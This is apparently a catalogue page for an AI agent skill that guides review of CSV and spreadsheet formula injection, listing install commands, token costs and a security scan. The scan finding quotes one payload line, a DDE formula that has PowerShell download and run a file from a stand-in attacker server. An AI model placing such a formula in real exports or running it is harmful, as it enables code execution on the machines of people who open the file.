csv-formula-injection

csv-formula-injection is a skill for Claude Code, Codex from Prohao42/aimy-skill. It costs 41 tokens per session (1,151 once invoked), scanned A, original, no licence file.

A guide to finding spreadsheet formula injection risks, where exported or user-provided text is treated as a formula by tools such as Excel, LibreOffice, or Google Sheets.

In plain words
What is it for?
Use it to review CSV exports, spreadsheet imports, reporting systems, and form fields that later feed spreadsheet software.
Why use it?
It helps identify when ordinary data can run commands, load external content, or change what a spreadsheet displays when opened or imported.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/prohao42/aimy-skill/csv-formula-injection
Any agent
npx skills add Prohao42/aimy-skill --skill csv-formula-injection
Clone the repo
git clone --depth 1 https://github.com/Prohao42/aimy-skill

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for csv-formula-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/prohao42/aimy-skill/csv-formula-injection.svg)](https://agentmods.dev/skills/prohao42/aimy-skill/csv-formula-injection)
Your own site
<a href="https://agentmods.dev/skills/prohao42/aimy-skill/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/prohao42/aimy-skill/csv-formula-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,151 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00041 $0.01151
Opus 5 $0.00020 $0.00575
Sonnet 5 $0.00008 $0.00230
Haiku 4.5 $0.00004 $0.00115

Measured 6d ago against content hash f1218bcfcf19, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
ai-mian/hack-skills/skills/csv-formula-injection/SKILL.md · 145 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 145 lines · 41 tokens per session scan A f1218bcfcf19

Subscribe to this mod's changes

csv-formula-injection is a skill published in the GitHub repository Prohao42/aimy-skill (135 stars, last pushed 12d ago), with no licence file. It adds 41 tokens to every session and 1,151 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.